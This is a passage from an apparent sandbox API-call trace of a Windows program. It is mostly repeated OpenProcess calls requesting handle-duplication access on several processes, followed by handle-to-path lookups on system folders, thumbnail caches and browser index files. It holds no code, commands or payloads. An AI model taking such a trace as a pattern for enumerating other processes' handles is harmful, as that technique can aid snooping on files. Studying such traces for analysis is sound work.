(dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.999] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.000] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.001] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.001] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.001] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.001] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.001] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.001] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.001] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.002] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.003] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.004] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.005] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.006] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.006] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.006] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.006] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.006] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.006] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.006] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.006] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.006] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.007] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.007] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.007] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.007] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.007] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.007] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.007] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.007] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.007] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0143.008] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0143.009] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0143.009] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0143.009] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0143.009] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0143.009] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0143.009] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0143.009] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.009] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.009] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.010] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.010] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.010] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.010] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.010] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.010] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.010] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0143.010] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0143.010] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0143.011] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0143.011] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0143.011] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0143.011] GetFileType (hFile=0x13c) returned 0x1 [0143.011] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0143.012] CloseHandle (hObject=0x13c) returned 1 [0143.012] GetFileType (hFile=0x118) returned 0x1 [0143.013] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0143.013] CloseHandle (hObject=0x118) returned 1 [0143.014] GetFileType (hFile=0x13c) returned 0x0 [0143.014] CloseHandle (hObject=0x13c) returned 1 [0143.014] GetFileType (hFile=0x118) returned 0x1 [0143.014] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.014] CloseHandle (hObject=0x118) returned 1 [0143.015] GetFileType (hFile=0x13c) returned 0x1 [0143.015] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.015] CloseHandle (hObject=0x13c) returned 1 [0143.016] GetFileType (hFile=0x118) returned 0x1 [0143.016] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0143.016] CloseHandle (hObject=0x118) returned 1 [0143.017] GetFileType (hFile=0x13c) returned 0x1 [0143.017] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0143.017] CloseHandle (hObject=0x13c) returned 1 [0143.018] GetFileType (hFile=0x118) returned 0x1 [0143.018] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.018] CloseHandle (hObject=0x118) returned 1 [0143.018] GetFileType (hFile=0x13c) returned 0x1 [0143.019] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.019] CloseHandle (hObject=0x13c) returned 1 [0143.019] GetFileType (hFile=0x118) returned 0x1 [0143.019] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.020] CloseHandle (hObject=0x118) returned 1 [0143.020] GetFileType (hFile=0x13c) returned 0x1 [0143.020] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.021] CloseHandle (hObject=0x13c) returned 1 [0143.021] GetFileType (hFile=0x118) returned 0x1 [0143.021] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.022] CloseHandle (hObject=0x118) returned 1 [0143.022] GetFileType (hFile=0x13c) returned 0x1 [0143.022] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0143.023] CloseHandle (hObject=0x13c) returned 1 [0143.023] GetFileType (hFile=0x118) returned 0x1 [0143.023] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0143.024] CloseHandle (hObject=0x118) returned 1 [0143.024] GetFileType (hFile=0x13c) returned 0x1 [0143.024] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0143.025] CloseHandle (hObject=0x13c) returned 1 [0143.025] GetFileType (hFile=0x118) returned 0x1 [0143.025] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.026] CloseHandle (hObject=0x118) returned 1 [0143.026] GetFileType (hFile=0x13c) returned 0x1 [0143.026] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.027] CloseHandle (hObject=0x13c) returned 1 [0143.027] GetFileType (hFile=0x118) returned 0x1 [0143.027] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.028] CloseHandle (hObject=0x118) returned 1 [0143.028] GetFileType (hFile=0x13c) returned 0x1 [0143.028] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0143.029] CloseHandle (hObject=0x13c) returned 1 [0143.029] GetFileType (hFile=0x118) returned 0x1 [0143.030] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0143.030] CloseHandle (hObject=0x118) returned 1 [0143.031] GetFileType (hFile=0x13c) returned 0x1 [0143.031] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.031] CloseHandle (hObject=0x13c) returned 1 [0143.032] GetFileType (hFile=0x118) returned 0x1 [0143.032] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0143.034] CloseHandle (hObject=0x118) returned 1 [0143.034] GetFileType (hFile=0x13c) returned 0x1 [0143.034] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0143.035] CloseHandle (hObject=0x13c) returned 1 [0143.035] GetFileType (hFile=0x118) returned 0x1 [0143.035] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0143.036] CloseHandle (hObject=0x118) returned 1 [0143.036] GetFileType (hFile=0x13c) returned 0x1 [0143.036] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0143.037] CloseHandle (hObject=0x13c) returned 1 [0143.037] GetFileType (hFile=0x118) returned 0x1 [0143.037] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0143.038] CloseHandle (hObject=0x118) returned 1 [0143.038] GetFileType (hFile=0x13c) returned 0x1 [0143.038] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0143.039] CloseHandle (hObject=0x13c) returned 1 [0143.039] GetFileType (hFile=0x118) returned 0x1 [0143.039] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0143.040] CloseHandle (hObject=0x118) returned 1 [0143.040] GetFileType (hFile=0x13c) returned 0x1 [0143.040] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0143.042] CloseHandle (hObject=0x13c) returned 1 [0143.042] GetFileType (hFile=0x118) returned 0x1 [0143.042] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0143.042] CloseHandle (hObject=0x118) returned 1 [0143.043] GetFileType (hFile=0x13c) returned 0x1 [0143.043] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0143.043] CloseHandle (hObject=0x13c) returned 1 [0143.044] GetFileType (hFile=0x118) returned 0x1 [0143.044] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0143.045] CloseHandle (hObject=0x118) returned 1 [0143.045] GetFileType (hFile=0x13c) returned 0x1 [0143.045] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0143.046] CloseHandle (hObject=0x13c) returned 1 [0143.046] GetFileType (hFile=0x118) returned 0x1 [0143.046] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0143.047] CloseHandle (hObject=0x118) returned 1 [0143.047] GetFileType (hFile=0x13c) returned 0x1 [0143.047] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0143.049] CloseHandle (hObject=0x13c) returned 1 [0143.049] GetFileType (hFile=0x118) returned 0x1 [0143.049] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0143.050] CloseHandle (hObject=0x118) returned 1 [0143.050] GetFileType (hFile=0x13c) returned 0x1 [0143.050] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0143.052] CloseHandle (hObject=0x13c) returned 1 [0143.052] GetFileType (hFile=0x118) returned 0x1 [0143.052] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0143.053] CloseHandle (hObject=0x118) returned 1 [0143.053] GetFileType (hFile=0x13c) returned 0x1 [0143.053] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0143.055] CloseHandle (hObject=0x13c) returned 1 [0143.055] GetFileType (hFile=0x118) returned 0x1 [0143.055] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0143.056] CloseHandle (hObject=0x118) returned 1 [0143.056] GetFileType (hFile=0x13c) returned 0x1 [0143.056] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0143.058] CloseHandle (hObject=0x13c) returned 1 [0143.058] GetFileType (hFile=0x118) returned 0x1 [0143.058] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0143.059] CloseHandle (hObject=0x118) returned 1 [0143.059] GetFileType (hFile=0x13c) returned 0x1 [0143.059] 